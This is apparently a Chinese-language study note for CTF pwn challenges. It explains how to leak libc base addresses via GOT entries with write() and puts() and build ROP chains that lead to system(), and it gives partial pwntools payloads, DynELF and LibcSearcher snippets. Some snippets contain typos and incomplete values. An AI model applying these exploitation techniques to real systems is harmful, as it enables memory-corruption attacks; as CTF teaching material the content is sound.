在解pwn题的时候,如果程序中没有可以获得shell的函数,通常会通过got表中调用函数来获取libc基址,然后通过libc获取要用的system函数和binsh字符。
使用Write()泄露函数实际地址
-
头文件: #include <unistd.h> -
定义函数:ssize_t write (int fd, const void * buf, size_t count); -
**函数说明:write()会把参数buf 所指的内存写入count 个字节到参数fd 所指的文件内. 当然, 文件读写位置也会随之移动.**write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响。因此leak函数中对数据的读取和处理较为简单。
-
返回值:如果顺利write()会返回实际写入的字节数. 当有错误发生时则返回-1, 错误代码存入errno 中. -
Payload:‘a’ * 栈大小 + ebp + write_plt_addr + write执行后的返回地址 + fd + 要泄露的地址 + count from pwn import *
elf = ELF('./elf_file')
def leak(addr):
payload = b''
payload += b'a' * 0x88
payload += b'a' * 0x4
payload += p32(write_plt)
payload += p32(main_addr)
payload += p32(1)
payload += p32(addr)
payload += p32(4)
conn.sendlineafter(b'Input:\n',payload)
content = conn.recv()[:4]
print("%#x -> %s" %(addr, binascii.b2a_hex((content or ''))))
return content
d = DynELF(leak, elf = elf)
system_addr = d.lookup('__libc_system', 'libc')
log.success("system:"+hex(system_addr))
使用Puts()泄露函数实际地址
-
头文件: #include<stdio.h> -
定义函数:int puts(const char *string); -
函数说明: puts()函数只能够输出字符串,以’\0’来确定字符串的结尾。 -
Payload: payload = b''
payload += b'a' * 0x
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(addr)
payload += p64(puts_plt)
为什么利用write() 和puts() 函数来获取libc基址时,要泄露got表中函数的地址?
通过学习GOT和PLT的知识,了解到当函数被调用过之后,GOT表中存放的函数地址就是函数的实际地址。而这个地址是通过以下方式确定的
函
数
的
实
际
地
址
=
l
i
b
c
基
址
+
函
数
在
l
i
b
c
中
偏
移
量
函数的实际地址 = libc基址 + 函数在libc中偏移量
函数的实际地址=libc基址+函数在libc中偏移量 因此利用GOT泄露的函数实际地址,和函数在libc中的偏移量就可以计算出libc的基址。
如何获取函数在libc中的偏移量呢?
这里可能有两种情况,一种是libc已知,一种是libc未知。
libc已知
libc已知的情况,可以通过反编译libc获取地址。如下所示,利用radare分析libc文件,可以获取libc中write的偏移地址是0x000d43c0
[0x000187c0]> afl | grep write
0x00063880 22 406 -> 395 sym._IO_wdo_write
0x000d43c0 5 101 sym.__write
也可以通过pwntools的ELF类,加载libc文件来获取目标函数的偏移地址。
libc= ELF('./libc_32.so.6')
libc_write_offset = libc.sym['write']
libc未知
libc未知的情况下,需要确定libc的版本号。同一个版本的libc对应的函数的实际地址是一样的,因此通过收集所有libc库的实际函数的地址,就利用泄露的函数的实际地址确定libc版本,从而进一步获取libc中函数的偏移地址。
pwn中可以使用LibSearcher库
from LibcSearcher import *
...
write = leak(write_got)
libc = LibcSearcher('write', write)
libcbase = write - libc.dump('write')
为什么write和putS在泄露基址的时候是这样构造payload?
根据前面的分析,我们知道我们要泄露的是GOT表的地址,需要利用WRITE和PUTS输出数据的能力。
假设要泄露的是函数func 的地址,我们需要构造write(1, func_got_addr, 4) 或者puts(func_got_addr)
32位Linux
32位Linux是用栈传递参数的,如果将write(1, func_got_addr, 4) 编译成汇编,大概的运行流程如下
push 4
lea rax, [func_got_addr]
push rax
push 1
call write
我们知道栈是先进后出的,因此在写payload的时候需要将这个过程反过来,就变成了如下所示
payload = padding
paylaod += ebp
payload += write_plt地址
payload += write运行后返回地址
payload += write的第一个参数_1
payload += write的第二个参数_func_got_addr
payload += write的第三个参数_4
同样的,如果是用puts的话payload只需要传入一个参数
payload = padding # 栈填充字段
paylaod += ebp # callee的ebp
payload += puts调用地址
payload += puts运行后返回地址
payload += puts的参数_func_got_addr
64位Linux
64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的。
lea rdi, [func_got_addr]
call puts
这里不是使用栈,因此在构造payload的时候需要按顺序构造调用链。我们需要把要泄露的地址func_got_addr放到rdi寄存器中。如何做到呢?我们先来分析学习一下puts的payload
payload = b''
payload += b'a' * 0xN
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(addr)
payload += p64(puts_plt)
payload发送后,当执行到预设返回地址时,栈中的情况如下所示
sp ------- | pop_rdi的地址 |
| func_got_addr|
| puts_plt地址 |
此时程序跳转到pop rdi的位置执行,
pop rdi
ret
而栈指针出栈后,将下移一步。
| pop_rdi的地址 |
sp ------- | func_got_addr|
| puts_plt地址 |
程序接下来执行pop rdi,将栈指针当前所指弹出,存入rdi中。这样一来,成功将func_got_addr放入了rdi中。执行后sp继续下移一帧,指向了puts_plt地址
| pop_rdi的地址 |
| func_got_addr|
sp ------- | puts_plt地址 |
下一步,程序将执行ret。ret相当于执行了pop ip ,将当前栈指针指向的内存地址的内容存入ip寄存器中。因此puts_plt的地址将被加载到指令寄存器里,等待执行。
到此为止即完成puts(func_got_addr) 的调用。
从这里也可以学习到gadget的构造方式,pop reg 后紧跟要放入reg 中的数据,即可成功给reg 赋值。
利用上面学习到的方式,下面尝试构造利用write进行泄露的payload。我们希望构成如下的调用链
mov rdx, 4
lea rsi, [func_got_addr]
mov rdi, 1
call write
payload = padding
payload += p64(0)
payload += p64(pop_rdx) + p64(0x8)
payload += p64(pop_rsi) + p64(func_got_addr)
payload += p64(pop_rdi) + p64(0x1)
payload += p64(write_plt)
当然直接找到下面三个gadget,是一种理想情况
pop rdx; ret
pop rsi; ret
pop rdi; ret
大多数情况找不到这么完美的gadget的,这是就需要使用万能gadget来构造调用链,这部分内容以后再来学习。
|